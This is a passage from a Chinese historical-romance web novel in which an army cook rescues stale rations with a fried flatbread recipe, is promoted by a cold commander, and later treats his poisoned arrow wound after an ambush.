“小人不敢!”知微声音陡然拔高,带着被轻视的愤怒,“小人身为伙房之人,更是军队中人,本就该负责好膳食之事,但……”知微顿了顿,挣扎着深吸一口气后还是开口,“但,小人既担了改良军粮的职责,便该有所交代!况且,现下已经有不少弟兄们连日腹泻,他们本就体虚,再啃那硬邦邦的旧饼,如何恢复体力?小人……”
“若是有余力,小人也想再……”
“够了。”祝隶稷冷冷打断她,那声音不高,却带着一股不容置喙的威压,让帐内瞬间安静下来。
“本帅让你解决饭食,是命令。如何做,是你的事。做不好……”他顿了顿,“做不好你就没有价值,没有价值你便不必存在。”
“至于其他的,你想做,是你的事。”
“我只看结果。”祝隶稷道。
这算是威胁还是允诺。知微不敢接话,指甲深深掐进掌心。她只觉得胸口堵得慌,像塞了一团浸了油的棉花,又闷又憋屈。这该死的阶级,该死的霸道!她辛辛苦苦找出毒源,非但没半句好话,反而被推上更难的境地。
可她没有办法,现今已然骑虎难下,拒绝做事,她大概率会被封口。做不成事,她遭受的质疑只会更多。但风险往往也意味机遇,知微明白得很。
知微猛地抬头,对上祝隶稷那双深不见底、毫无波澜的眸子,里面清晰地映着她此刻的狼狈、愤怒和不甘。除了被压迫的屈辱,竟也是多了份大事将成的亢奋。
赌上一场吗。不得不做啊。
“小人领命,定不负大人所托。”几乎是咬着牙挤出这几个字,知微一把抓起案几上那碗肮脏的“证据”,头也不回地冲出了营帐。
身后似乎传来质疑声,还夹杂着江覃低低的劝解声,但知微都顾不上了。
知微憋着一肚子劲回到临时伙房区。伙房被封,灶冷锅凉,只有外面空地上堆着一筐筐蒙着灰的旧干粮饼,还有角落里蔫了吧唧的几把野菜和一小篓她省下来打算给少昭补身体的鸡蛋。空气里弥漫着一种绝望的气息。
士兵们三三两两地围过来,脸上带着茫然和饥饿的焦躁。张兴中抱着胳膊,显然也是刚得知意外,一副欲言又止的样子,眼神里都多了几分同情。
“管事。”没想到张兴中开口的第一句话定调这般高,知微不免觉得背后一凉。
“张疱正……”知微弱弱道。
“不必跟我客气。”张兴中抱拳,言语间少了粗俗,他向知微行礼,正式道:“若是没有你,张某怕是一辈子都要悔恨郁结,我是万万想不到,自己引以为傲的管理竟险些差点害了整个军队……”
“管事,请原谅张某不懂事的言论。“老张眼神坚定地开口,愧疚之余特意加重了“管事”二字。
“你已经证明了自己的实力,这场厨艺比试,张某认输。”
“且慢!”知微及时开口,“能力归能力,比试是比试,张疱正,我知道你心里过意不去之前的错误,更怕我因为伙房之事分心从而影响比赛。我很感激您,但,这不是您向我认输的理由。我也不相信你不想比上一场。”
知微回忆起孙为口中的张兴中——随军二十余年,其中有十年在伙房。高声望的背后是多年如一日的辛勤,虽说辛勤了那么久军营的伙食也很一般就对了……
嘛!总之知微不需要这种同情的示弱。知微需要的是一场堂堂正正的比赛,光张中兴的认可还不够,重要的是让所有人都信服,尤其是那个臭皮蛋、臭松花蛋、咸鸭蛋少帅!
最好有朝一日能让他跪下来为自己舔鞋才好!知
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微一拳锤了锤空气。
张中兴还在盯着知微,只见她的脸一会儿是愤怒,一会儿又无端发笑了起来,果然是太大压力了,连表情都控制不住了。
这妮子,精神失常的话也要等这番风浪过去才好哇,他想。
“咳咳。”知微的咳嗽声打断了张兴中的思绪。
“感激的话就没必要了。张疱正,如今危难在即,我们一同为军队贡献吧。”
“正合我意。”张兴中点头,“有何需要尽管跟我说!”
“嗯。但比拼请继续,并且不用手软。”
张兴中余下的话知微便不搭理了。她绕开众人,走到那堆旧干粮饼前,随手拿起一块。知微颠了颠,那饼入手沉甸甸,硬邦邦的,用力一掰,只掉下点渣子。这玩意儿,别说营养,吃下去不硌掉牙就算好的,对腹泻虚弱的士兵来说简直是雪上加霜。
不行啊……
压力像滚雪球越滚越大,像山一样压得知微脑袋晕乎。知微急得在原地打转,她的目光扫过那堆令人绝望的干粮饼,又看看临时支起的锅灶,最后落在那几筐野菜和一小篓鸡蛋上……
恰在此时,被孙为拎走的少昭回来了,手上还抓着个夹着菜的卷饼。用手抓着的菜卷饼吗,等等,一个念头闪电般划过知微的脑海!
“有了!”知微猛地一拍大腿,眼睛瞬间亮得惊人,像黑暗中点燃了两簇火焰。她豁然转身,指着那堆旧干粮饼,冲着还在发懵的少昭吼:“少昭!找两个有力气的弟兄,把这些干粮饼给我统统砸碎,碾成粉末!越细越好!”声音里带着破釜沉舟的决绝和一丝压抑不住的兴奋。
她又冲着刚才和解完的张兴中喊:“张庖正,帮忙生火。架起所有能用的锅,再找几个手脚麻利的兄弟,帮我把野菜洗了切碎,鸡蛋都打散!”
随后,知微撸起袖子,叉着腰,提起了灶台上摆着的菜刀:“没有现成的面粉又如何,姐照样做出可口的饭食!”
知微的宣言带着一股破釜沉舟的泼辣劲儿,像在滚油里泼了一瓢冷水,瞬间点燃了低沉的气氛。士兵们虽然将信将疑,但看她指挥若定、杀气腾腾的模样,又得了张兴中的吆喝,都下意识地动了起来。毕竟,饿肚子的是他们自己。
大石臼很快被抬来。两个壮实的士兵抡起沉重的木槌,对着筐里的干粮饼“哐哐”猛砸。坚硬的饼块在重击下四分五裂,碎屑飞溅。知微亲自动手,将初步砸碎的饼块倒进石臼,指挥着士兵用石杵一点点碾压。粗粝的摩擦声不绝于耳,干燥的粉尘弥漫开来。
知微顾不上呛咳,亲自拿着细筛,一遍又一遍地筛着碾磨出来的粗粉。汗水顺着她的额角流下,混合着面粉灰,在她脸上留下几道滑稽的痕迹,但她毫不在意,眼神专注得像在进行一场神圣的仪式。
几口行军大锅被架在临时垒起的灶上,火焰熊熊燃起,舔舐着冰冷的锅底。
知微舀起一大勺凝固的猪板油丢进锅里。油脂在高温下“滋滋”融化,散发出诱人的荤香。她抓起一把筛好的干粮粉,毫不犹豫地撒进滚烫的油锅里。
17. 升职(军粮之灾终章)
“刺啦——!”
一股浓郁的、混合着焦香的麦香味瞬间爆开,霸道地驱散了伙房区的沉闷!这香气如此陌生又如此勾人,引得周围所有忙碌的士兵都忍不住抽动鼻子,停下了手里的动作,目光齐刷刷地投向那口锅。
“看什么看?继续干活!”知微头也不抬地吼了一嗓子,手上动作飞快,用大铲子快速翻炒着锅里的粉末。金黄色的粉末在油脂的包裹下渐渐变得油润焦香,那香味愈发浓郁诱人。
炒香的粉末被盛出备用。知微马不停蹄,又指挥人在另一口大锅里烧上水。水沸后,她将耐煮的野葱、荠菜和少量可食用的野草切成段一股脑倒进去焯水。碧绿的菜叶在沸水中翻滚几下,迅速褪去生涩,染上鲜亮的色泽。
趁这功夫,知微又取过一个最大的陶盆,倒入足量的、散发着诱人焦香的炒干粮粉,再磕入那一小篓宝贵的鸡蛋,“哗啦”一声,金黄的蛋液瞬间包裹了粉末。撒上一把珍贵的盐末,又狠狠舀了几大勺刚才炒粉时煸出的焦黄酥脆的猪油渣,最后将挤干水分的野菜碎倒入盆中。
一切准备就绪,知微深吸一口气,撸起袖子,两只手毫不犹豫地插进这盆混合物的深处,像揉面一样,她十指用力抓拌、挤压、揉搓。汗水顺着她的鬓角流下滴进盆里,粗粝的粉末磨着她的指腹,油腻的混合物沾满了手臂,但她眼神专注,动作都带着一股狠劲。
很快,一种湿润粘稠、金黄油亮、夹杂着翠绿野菜碎和焦黄油渣的糊状物在盆中成型,散发出一种奇异的、令人垂涎的复合香味。
“锅烧热,刷油!”知微抹了把汗,脸上蹭了更多面粉油渍,像个花猫,但她精神得很,从灶台起身,抻着腰对临时拉来当帮工的士兵下令。
烧热的薄铁锅刷上一层薄薄的猪油,知微舀起一大勺面糊,一声响亮的油爆声中,面糊倒入锅中。知微手腕灵活而沉稳地一转、一摊,一个薄薄的、圆形的饼坯瞬间在锅底成型。
知微全神贯注,瞅准时机,手腕又猛地一颠。铁锅在空中划过一道流畅的弧线,薄饼如同金色的圆月,轻盈地翻了个身,露出同样金黄、点缀着碧绿野菜碎和焦黄油渣的饼面。浓郁的香气如同实质般喷薄而出,直冲云霄。
“哇!”
周围响起一片此起彼伏的、压抑不住的抽气声和惊叹声。
一个,两个,三个……知微的动作越来越快,越来越娴熟流畅。她化身为一架精准的烹饪机器,汗水浸透了她的鬓发和后背粗布衣,但她的脊背挺得笔直,眼神专注而明亮。很快,一摞摞热气腾腾、两面金黄、散发着致命香气的“改良版干粮饼”就堆满了旁边的竹匾,像一座散发着光芒的小金山。
“开吃了——!”知微深吸一口气,叉着腰,用尽全身力气吼.许是太累,她的声音显得有些沙哑,却带着不容置疑的穿透力和一股扬眉吐气的痛快,“今日特供——特制‘金玉满堂饼’,谁要试吃?”
“我来!”
“我先!”
众人瞬间沸腾。那诱人的香气早已勾得他们腹中雷鸣、口水直流。此刻听到号令,立刻一个个眼睛都死死盯着那摞金灿灿的饼子,哪还有半点之前的沮丧和怀疑。
拿到饼的士兵迫不及待地狠狠咬上一口。
“咔嚓!”外层焦脆,牙齿陷入内里,更是奇妙的软糯咸香。焦香的炒粉颗粒感混合着油渣的酥脆脂香,野菜的清新恰到好处地中和了油腻,一口下去,暖意瞬间从胃里升腾,驱散了饥饿和虚弱。
“我的娘诶!这也太香了!”
“神了!真神了。”
“老子当兵五年,啃过的干粮饼能堆成山,头一回吃到这么好吃的!”
“这比俺娘烙的饼子还香、还绝!”
“老张呢?老张快来尝尝!我敢说这味道你下辈子也做不出!”
赞美声、惊呼声、狼吞虎咽的咀嚼声此起彼伏,人群自动分开一条道,张兴中被几个士兵连推带搡地挤到最前面,眼神复杂地看着那金灿灿、香喷喷的饼,又看看那些吃得满嘴流油、赞不绝口的同袍,最后,目光落回到灶台前那个满身油污汗水、却像打了胜仗的知微身上。
他沉默地拿起一块刚出锅、还烫手的饼,狠狠咬了一大口。
“咔嚓……唔……”从未有过的奇妙感觉瞬间冲击了张兴中那被粗粝食物磨得几乎麻木的味蕾。这味道……他咀嚼的动作不由自主地慢了下来,死死盯着手里的饼,又猛地看向知微,将自己那油腻腻、沾着灰的袖口藏好。
半晌,在周围无数道目光的注视下,张兴中笑了。他把剩下的大半个饼三两口囫囵塞进嘴里,用力咽下,哪怕是被呛住也没饮一滴水,复杂的情绪连同饼渣卡在喉咙里边久滞不下。好半晌后,食道里总算没了食物,张兴中抹了把嘴上的油渍,深吸一口气,走到知微面前。
知微正给一个瘦小的士兵递饼,抬眼看他,挑眉,没说话,眼神里带着一丝疲惫,但更多的是平静。
张兴中朝着知微,重重地抱了抱拳:“这下是真的不用比了。”
就算是比拼,他脑海中构思的点子无非是给干粮饼的配方做些改善,加些水油之类的,还有涂上一层蜜来烤制增香之类的。而那终究是从一到二的改变,知微做的,却是从零到一的革新。
“我这辈子都做不出来这等食膳。”
张兴中那张长年暴晒下发干的脸上划过一丝羞愧的红晕,似乎是在嘲弄自己当了这么多年的炊事兵却仍是毫无实力。张兴中摆了摆头,挤出人群,一瘸一拐的背影竟显出几分落寞。
之前瞧不起知微的老邓也是红了脸,半曲着身子向知微表示歉意。
周围的士兵静了一瞬,随即爆发出对知微表示祝贺的掌声。
知微赢了,不是不战而胜,而是无人敢战。
知微紧绷的肩膀终于彻底松了下来,长长地、深深地舒了一口气,嘴角忍不住勾起一丝极淡的、属于胜利者的疲惫笑意,但她很快又想到了面粉案的扑朔,心中仍是愁云漫天。
知微压下那点得意,对着众人挥挥手,声音缓和下来:“行了行了,吃饱了便都散了吧,别都围着。”
喧闹的人群带着满足的饱嗝和笑容渐渐散去。知微望着远去的人群,感觉全身骨头都快散了架,她拖着沉重的脚步走到水缸边,舀起一瓢凉水,刚想灌下去解渴。
“凉水伤胃。”
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一只骨节分明、干净有力的手伸过来,稳稳地按住了瓢沿。
知微一愣,抬头。是孙为。他不知何时站到了她身边,递过来一个粗陶碗,里面是温热的、飘着几片野菜叶的清汤。
孙为脸上带着真诚的笑意和毫不掩饰的敬佩:“辛苦了,晏管事。喝点热的。”
知微心头微暖,接过碗:“多谢。”
“我说你行的。”孙为扬眉,“没输。”
知微道:“两全其美的好方法呢。你老早便知道张疱正对饮食改良的重视了吧。”
“你对老张了解得一清二楚。”
“凑巧凑巧。”孙为继续笑。
“总之还得多感谢你,虽然途中也出了不少岔子……”知微刚想和孙为道一道自己发觉毒面粉存在的前因后果,眼角余光却瞥见不远处的帅帐掀开了帘子。
祝隶稷一脚迈步,站在帘子外边,身姿笔挺如松。夕阳熔金,他越过散去的人群,朝粮仓走来,目光精准地落在知微身上。
此刻的知微满面憔悴,脸上沾满了面粉与油渍,汗水也浸透鬓角,却又神采奕奕。知微难得没有回避祝隶稷的审视,反倒是也学着对方的样子,挺起骄傲的头颅。
斜阳未坠,两人对上眼。
祝隶稷的眼神不减惯有的淡漠,又似乎多了点别的什么。知微敏锐地捕捉到那一闪而逝的、近乎探究的停留。她在岭南也见过类似的眼神,于是她毫不示弱地回望过去,甚至带着一丝刚刚胜利的余威。
在知微的视角盲区,孙为也默默注视着祝隶稷,难得的神色肃穆,压了压眼眶。
“凑合。”祝隶稷擦过知微的肩,用眼神屏退了孙为。
他继续道:“全查清了,是蜀郡的叛军一早混入了军队,在运送粮食的时候动了手脚。”
“你是承认我清白了?”
祝隶稷不理:“我若是你,便不会一股脑冲向军帐,营帐里人数不少,万一其中混入了真凶或内应你该如何,万一此事得不到妥善处理,扰乱了军心又当如何。”
“那是人命关天的事!”
“所以说,你只能是个伙夫。”祝隶稷动了动脚尖,手靠后背过去,“若想走得更远,成大事者,必当取舍……”
“伙夫又如何?”知微打断了祝隶稷的话,“大人,我知道在你心中总有更多、更深的利益考量。”
“您或许会不解我的很多举动,比如军粮,在您心中,它本就只是用来果腹的存在,至于味道如何,不影响战力您便不关心。”
“这是大人的大局观,我无话可说。可,作为一名厨师,我也有自己的理想。”知微跪地,膝盖弯着,背依旧绷得很直。
“有一份心力做一分的事,可能在大人眼中渺小,可这是我眼中能为军队做得最大的事情了。因此、因此……”手指不受控制地发颤,知微的话也变得磕绊。
祝隶稷终于放下背身的手,嘴角向上,第一次正视知微。
“愚不可及。”他道。
“既如此,我便全了你的心愿,顺了你的道义。”
“即刻取消你的代理,现在,你是名正言顺的管事了。”
18. 望眼欲穿,望穿秋水
祝隶稷在知微这吃了瘪,转头出营帐便撞见了笑容满面的江覃。
“大人。”江覃的面部表情实在绷不住。
眼珠子都快颤没了,祝隶稷冷哼一声:“出息。”
“还会有人不接受你的一番好意啊。”江覃眯了眯眼,“没料到吧,你想提拔人家,人偏要在伙房待着,上一回在岭南也是这样,等了好些天也不见人家上门,是望眼欲穿啊,望穿秋水。”
除却情场,江覃很少见祝隶稷这般上心。偶尔的失算倒也带有种别样乐趣,他竟也难得多打趣上几分:“为何选择晏姑娘。”
“感觉会很好用。”祝隶稷顿了顿,“她是一个认准了就不动摇的人。”对他来说,这种人虽难驯服,但之后作为心腹培养的忠诚度又再高不过。
江覃点头,像是细思过一番,赞同道:“的确,晏姑娘很适合被托付。”尤其是放眼整个军营:危机四伏,敌我难分。若有朝威胁来临,除却他与李明镜,知微算是最好的信任对象。
义气,机智,有责任。江覃评价道。
“说起来,晏姑娘好像都不在外边称姓了,想来是有什么隐情。”
“没有隐情谁会无故闯入危险的森林。”祝隶稷回忆,“怕是惹了不该惹的人吧。”
“不过若是跟了我,她想叫什么都没人管。”
哪要像现在这般隐姓埋名呢。
“可惜她不识好歹。”祝隶稷看出了江覃眼底的赞赏,“扶不起的阿斗,还有的调教。”
祝隶稷不愿再提烦心的话题,问起下毒贼人的后续。
江覃是负责审问的,聊到正事,他也敛回表情:“和岭南巡察时一直暗中跟踪我们的是同一批,都是太子之前派出的旧部。毕竟现在前线局势迷离,若是大帅胜了……呵,看来,太子也是铁了心想要你的命。”
“就怕我命硬,烫手到他们要不起。”祝隶稷眼神犀利。
江覃也是含笑着,又道:“还有一个好消息,万将军同明煜正带着三万援兵正向蜀郡赶来,只需再撑半月,援兵一到,叛贼一除,咱们的局面便彻底盘活了。”江覃是真开心,援兵将至,连说话的底气都多了几分。
他扭头,看向并没有因援军消息而改变多少神情的祝隶稷,探问:“话说,明煜安全的消息,你真不打算透露给晏姑娘吗,他们对彼此都是很重要的人吧。”
“她要知道什么,不是想呆一辈子伙房吗。”祝隶稷道,“你就看着吧,看她能天真到什么时候。”
人从来不是自己的主宰,这盘局既已入,在什么位置、做何种牺牲便由不得她了。
——
得知知微要额外去贴身侍奉祝隶稷的饮食时,将士们看她的眼神都变了,支支吾吾着,半天也说不出来一句整话。
“管事。”还是一个从前侍候过的老兵出面,他冲知微抱拳,面上每根皱纹都刻着“自求多福”四字,“少帅的早膳须得辰时三刻准时呈到帅帐,一般食粥,粥的温度嘛……刚烫嘴又不至于起泡,您多担待。”
知微盯着灶台上那袋精米,点头。她对厨艺是自信的,至于其他的,反正她就是个厨子,既不能上战场,也不可能让她做什么亲信的事,又能怎呢?
事实证明她太天真。
上任第一天寅时,天还黑得像锅底,亲兵就杵在伙房门口敲锣:“少帅传管事!”
知微顶着两团青黑赶忙冲进帅帐,祝隶稷披着外袍看沙盘,烛光给他侧脸镀了层金边,吐出来的话却淬着冰渣:“昨夜的参汤,火候过了三息。”
知微:“三息?”这么精准的吗,人型温度计?
可这参汤又不是她煮的,唤她作甚。
祝隶稷眼皮都没抬,自说自话:“过火,药性燥了,服了加剧心神不宁。”
“那……我吩咐后厨再熬一份?”知微揣测圣意,试探问。
祝隶稷应声,放下手中汤碗:“还得多开个小灶补补。”
自此,知微身上多了项差事——当祝隶稷的专属煮饭婆。白日她管着百十号人的伙食,在鸡毛蒜皮里呼风唤雨,夜里还得支着小灶给祝隶稷单独开小灶。
说来也烦,这毒舌精的舌头怕是拿金子保养过,贵气得很:熬粥要先顺时针后逆时针;米粒必须颗颗胀开又不破皮;米糊的色泽也要恰如白玉。
“颜色不对。”祝隶稷蹙眉,银箸往白玉碟边一搁,清脆得像在抽知微的耳光。
知微攥着油乎乎的围裙边,挤出个狰狞的笑:“大人,这是铁锅染的,用久了掉色也是常态。”
“没有下次。”祝隶稷不管,他撩起眼皮,扫过知微憋红的脸,“立刻重做。”
“啊这……”
“嗯——?”
“嗻。”
走出帅帐,江覃摇着扇子路过,安慰拍了拍知微的肩膀:“晏管事辛苦,少帅这是……格外器重你。”
知微露出比哭还难看的苦笑。器重个鬼!分明是报复她当初在岭南甩他脸子!
日子在知微和祝隶稷的“粥勺战争”里滑走。前线军报越来越密,叛军集结自立,援军久久不至,同民兵的合作又损失了一些兵力,空气里都绷着根看不见的弦。
这天,知微刚把一锅炖得烂熟的蹄髈捞起,祝隶稷的亲兵又来了,这次没端架子,直接掀开帘子:“管事,少帅召您去校场!”
校场上尘土飞扬。祝隶稷一身玄甲骑在通体乌黑的战马上,像柄出鞘的锐剑。他翻身下马,看知微小跑跟在后方累得气喘吁吁,唇角竟破天荒勾了勾。
“上来。”祝隶稷说。
知微盯着那匹喷着白气的畜生,小腿肚犯不住地直抽筋:“少帅……要不,小人还是在地上走着伺候?”
“敌军可不会等你走过去。”祝隶稷声音不高,“战场上风云莫测,想活命,就学会骑马。”
可我又不上战场。知微暗地腹语,脑海中又闪过月余前的深夜,有人曾为护不会骑马的她鏖战众敌。
知微的心脏抽了抽。
“行吧,但能不能换一只矮脚的……”话音刚落,旁边列队的骑兵里传来几声压低的嗤笑。
“笑什么呢?你们再笑!”
“神经病啊?”知微口不择言。
有将士自豪回答:“是勇猛的神镜兵!”
这一点都不好笑!
知微无语,血往头顶一涌,恐惧短暂被抛到了脑后。她抓住马鞍就往上一蹿——然后像块破麻袋似的滑下来,屁股结结实实砸在地上,激起一蓬黄尘。
哄笑声更大了。
祝隶稷也提臂捂嘴,策马踱到她面前。投下的阴影把知微罩得严实,他朝她伸出手,倒恰好遮住了众人嗤笑的目光。
“握紧缰绳。”祝隶稷接
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知微上马。他的声音还是冷的,手却稳得惊人,一把将她拽上马背,安置在他身前。
早是寒冬,后背又猛地贴上冰凉的铁甲,激得知微一哆嗦。
“夹紧马腹,腰沉下去。”祝隶稷握着缰绳的手臂环过她身侧,像道铁箍,“你想被踩成肉饼吗。”
知微连忙摆头。
马动了。
是没有任何预兆的狂奔。
知微瞬间成了狂风里的破树叶,只得死死抱住祝隶稷横在她腰前的胳膊尖叫:“要死啊!我昨天腌的菜还没封口!大人,我再也不敢乱说话了,放我下来,我愿为您当牛做马、死而后已……”
身后胸腔传来闷闷的震动,那毒蛇竟然在笑。
练了几天,知微总算能勉强在马背上坐稳了,代价是浑身骨头像被拆过一遍。祝隶稷毫无怜悯,专挑她揉着大腿,龇牙咧嘴时下令加练。
直到那天深夜,军营的主力士兵按计划换班,一阵号角却突然撕裂寂静。江覃前些日子去了蜀郡小镇潜伏,眼下只知微恰在帅帐伴着祝隶稷,手上还端着刚煨的鸡汤。
亲兵撞开伙房门,脸白得像纸:“敌袭!少帅快撤离,李将军断后!”
火光瞬间染红了半边天。营地炸了锅,人影幢幢,兵器碰撞声、喊杀声搅成一团。混乱中,一只滚烫的手攥住知微手腕。是祝隶稷。
“上马!”''祝隶稷声音嘶哑,玄甲上溅着暗红。
知微被他半提半抱着甩上马背,那匹叫“黑电”的战马嘶鸣着冲进黑暗。寒风刀子似的刮在脸上,身后是潮水般的追兵和破空声。知微死死抱着马脖子,颠簸得五脏六腑都要移位。
“低头!”祝隶稷厉喝,一支羽箭擦着知微的头皮飞过,顷刻,它钉进前面树干,连带箭尾嗡嗡乱颤。
“他们……他们怎么知道我们驻扎的位置,这一切不都是向外边严格保密的吗?”风声灌进嗓子眼,知微喘着粗气问。
早前为了防备敌人的入侵,军队每几天就要换个地儿,活动低调,就连买卖粮食的频次也尽量减少。可纵然是这样,还是遭遇了敌袭。
想来可能性不过那一二。
“还能是为什么。”身后是追兵,眼前是密到望不见尽森的森林,祝隶稷操着缰绳,尽全力提速。
“有人泄密。”祝隶稷道。
终于还是被算计了。
丛林在前,祝隶稷的身子压得极低,呼吸喷在知微后颈。后方奔驰的马蹄声连同窸窣叶动的动静一并侵入耳,双眼可及的两侧景观飞速改变的同时,知微眼前一黑。
一切都太突然,以至于“黑电”失足跃崖的瞬间,知微对失重感亦没有太大反应。耳朵发出的啸呜声持续作响,落地时巨大的冲击力让马匹踉跄,祝隶稷闷呼一声,箍着知微的手臂猛地收紧。
追兵的火把在崖顶晃动叫骂,逐渐变小、变暗,他们到底没敢跳崖。
知微与祝隶稷则在漆黑的山坳里狂奔,不知跑了多久,直到黑电前蹄一软,两人连同马匹轰然栽倒。知微被甩出去,滚进一片半人高的枯草,啃了满嘴泥腥。
祝隶稷同样落地,发出一声压抑的痛哼。
知微连滚带爬扑过去。月光惨白,照见祝隶稷左肩骨下方插着的半截断箭。军甲裂开,玄服之下,有暗色的血液股股洇出。
“大人!”危难中,知微大唤道。
19. 若是能活着出去
“死不了……找地方、躲起来。”祝隶稷靠着一块山石,脸色在月光下泛着青灰,眼睛却亮得慑人。
知微勉强镇定,耗尽气力拖着他钻进一个隐蔽的石缝。
洞窟不大,阴冷潮湿,弥漫着一股土腥味。
知微哆嗦着撕下外衣下摆,摸索着去按祝隶稷的伤口。刚流出来的血是温热的,有祝隶稷的温度,沾了知微满手黏腻。
知微喘着粗气为祝隶稷检查伤势。箭杆斜插在紧实的皮肉里,周围一片青紫肿胀。
知微深吸一口气,握住箭杆:“你忍着点。”
知微猛地发力,箭簇离体的瞬间,祝隶稷身体剧颤,额角的青筋暴起,冷汗涔涔而下。
“你很恨我吗。”祝隶稷意识昏沉,吃痛道。
“大人您醒了!”见眼前人有反应,知微心头一松,若是祝隶稷在这里发生了什么意外,她也没法交代啊。
“苍天保佑苍天保佑……”知微在心里感谢上天有好生之德,手头也没停,她手忙脚乱地用布条死死压住祝隶稷伤口,又撕下更多布条来捆扎。
做完这一切,知微瘫坐在地,有冷光泄入洞里,万籁静寂,只剩下祝隶稷压抑的喘息和她自己擂鼓般的心跳。
不知过了多久,祝隶稷忽然动了动,烧得滚烫的额头无意识蹭过她的手臂,又痒又麻,知微吓得把手一缩。
祝隶稷嘴里含混,小声呢喃:“爹爹、娘亲,不要丢下我……”
“……小狗,我的小狗。”祝隶稷眉头紧锁,干燥的嘴唇微微翕动,“赔罪……我不要赔罪。”
破碎的词句惹人遐想,猝不及防扎进知微心里。低头赔罪……祝隶稷他,也有这样不堪回首的往事?
洞外寒风呼啸,洞内湿冷刺骨。
许是觉得冷,祝隶稷滚烫的手忽然抓住知微的腕子,力气大得惊人,像溺水的人抓住浮木。
“冷。”他道,“我要回家。”
可哪有家呢,知微难得和祝隶稷产生稍许共情。
自从穿到这个世界她便颇多不适,寻过回去的方法,无果。
从前在岭南她多少还自在,可是现在呢,伺候人、除了伺候还是伺候!每当知微做工一天,精疲力尽时,她也希望有个地方能让她眷恋,好歹是个念想。
那祝隶稷呢,有这样的地方吗。
知微发现,自己虽然在祝隶稷手下做工,可对于这个顶头上司却知之甚少。
除却从营中他人处得知他的世子身份,至于其他的,知微也就只知道祝隶稷的餐饮喜好了。
知微这般想着,祝隶稷又开始喃喃,他仍在发热,像只病弱的动物,哼唧起来都是软绵的。
见状,知微一时心软,不再缩手,把他沉重的身体往怀里带了带。
褪去了平日的冰冷锋利,祝隶稷烧得泛红的脸颊透出一种近乎脆弱的俊秀,紧锁的眉宇间甚至残留着一丝稚气的委屈。
还挺悦目,知微想。
鬼使神差地,知微伸出手,用指腹轻轻拂开祝隶稷黏在额角的一缕湿发。
祝隶稷猛地一颤,眼睛倏地睁开。短暂的空茫后,目光凝聚起冰冷的警惕和审视。
知微的手僵在半空。
“你在做什么。”祝隶稷的声音还是沙哑。
她猛地缩回手,像被烫到:“你、你头发沾脸上了。”
祝隶稷沉默地盯着她,也不说话,像是要把知微看个透彻。
知微躲也不是,心虚地朝他笑了笑。
祝隶稷冷哼一声,表达不满。半晌,他才缓缓移开视线,挣扎着想坐直身体。
“别动!”知微下意识按住他完好的右肩,“箭上有毒。”
祝隶稷身体一僵,抬眼看她:“毒?”她一个厨子又看出来了?
知微咬了咬唇,心有灵犀道:“我猜的。”
“不然以为这点伤能让你烧成这样?”祝隶稷个高,勉强算得上匀称,身体应该比细狗强。再说了,暗杀要在箭上淬毒,电视剧不都这么演吗。
知微继续傻笑。祝隶稷不理他,只身体确实不适,他的每一次呼吸都牵扯着伤口,血迹也是发黑。
还真被蒙对了。祝隶稷叹。
“你做了什么处理。”他问。
知微如实回答,回顾自己冷静而迅速的反应,鼻子都翘上了天。
快说她什么都特别好,快说啊!
可祝隶稷没给她预计的反应,一张脸沉得很。
“所以说,你压根就没有处理。”
“我包扎了啊!”知微瞪大那双风眼。
祝隶稷的眼神像是在审视个呆子:“我中了毒,不解毒会死对吧。”
“既如此,你为何不寻找些解毒缓毒的药,再者,你包扎的是个什么玩意儿,我是一颗粽子吗?”
祝隶稷指了指身上极其潦草的巨大包扎:“你是盼着我死吧。”
倒也不是现在。
知微地眨巴着眼:“您要我做些什么?”
祝隶稷侧身,露出腰上挂着的香囊。知微在岭南便见过,样式精巧,是下了很大功夫的制品。
“愣着作甚?”祝隶稷无语,“打开它,里边有伤药。”
“噢噢。”知微取下香囊,近一看,那香囊上的针线都是金的,价值铁定不菲。
祝隶稷沙场征战,几经周折却仍将它保管得很好,一点图案没花,想来也是很珍惜。
知微打开它,果然看到了粉末状的颗粒,一股药味直冲她的鼻腔。
知微不敢怠慢,揭开伤口为祝隶稷敷药,祝隶稷脸色依旧苍白,咬着牙忍受。
“大人。”知微试探,“可以出声的,我不会笑你。”
“你敷不好我会笑你。”祝隶稷闷道。
“还会杀了你。”他继续补充。
“喂。”知微清了清干涩的嗓子,声音在狭小的石缝里撞出回音,“大人,您现在说这话不对吧。”
还想杀了她。
知微心怀不屑,若是没有她替他包扎,祝隶稷现在都到地下和阎王相会了吧。
不过,倘若祝隶稷不在混乱中捞自己上马,知微怕是也已投胎到下一世了。
可,为什么祝隶稷冒着风险,要独独救下自己呢?酸涩的情绪一点点漫起,淹过知微的心口。
是信任还是……唉唉,瞎想些什么呢,知微猛甩头,祝隶稷又不是一般人,更不是菩萨,谁知道他是不是有什么打算,意图算计自己呢!
祝隶稷瞧见知微不说话,问:“莫不是在想怎么抛下我。”
“也不是,您要是死在这儿我也无处可去,下个月的饷银还没得发。”不合时宜的诚实是知微最大的美德。
祝隶稷的眼睫极轻微地颤动了一下:“想来也是,你没这个胆量,
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再说了,你也驯服不了‘黑电’,没有它,你怕是也走不出这密林。”
此话倒是不假,这森林的路不是一般的复杂,知微身上也有摔伤,丛林有野兽,只凭她一双腿,怕是很难找着出口。
“还是得靠我。”眼前人惧马,练习许久也不见长进,只是勉强可以上去,至于学会驾驭马,更是天方夜谭级别的笑话了。
祝隶稷动了动鼻子,昂起头,觑过洞口守着的爱马。
“大人。”知微轻唤,“你再多信任我一些也无妨的。”
“若是我真想抛下你,对于您的马,我也不是真的没有驯服方法。”
“或者说,我全然不必管它的死活。”知微指了指马匹摔伤的左下肢,“您看,‘黑电’现在也需要休养,若是不好好照顾,正常情况也走不远……”
“可若我不在乎它的死活,应该也能有其他办法吧,驯服它。”知微向头顶摸去,没有摸着熟悉的银钗,她这才想起之前入营时为低调,自己亲手将钗子收了起来。
钗子现在便藏在知微的衣兜中,说起来,那银钗还是她亲自设计打造的,足够锐利,稍一用力,见血也不过是谈笑间。
知微冷着脸,收手,继续道:“不顾及死活的话,疼痛是最好的驯法。我用刀、用钗、用利器插在它身上,那之后疼痛来袭,‘黑电’总能跑起来,不是吗。”
至于停下,知微想,让它痛到没气儿便好了,不算困难。
她才不是因为需要、因为利用,才救下祝隶稷。
寒风卷着枯叶碎石,在洞口发出呜咽般的怪响。夜晚的黑转为一种压抑的铅灰。
祝隶稷的体温高得吓人,敷药的地方却开始无端发僵。
“大人,请不要再考验我的真心了。”
“不然,您会孑然一身,活得很艰难的。”
一语毕,知微发黑的面色逐渐又亮了起来,如雨后天晴。
不知何时,外边刮起了强风。
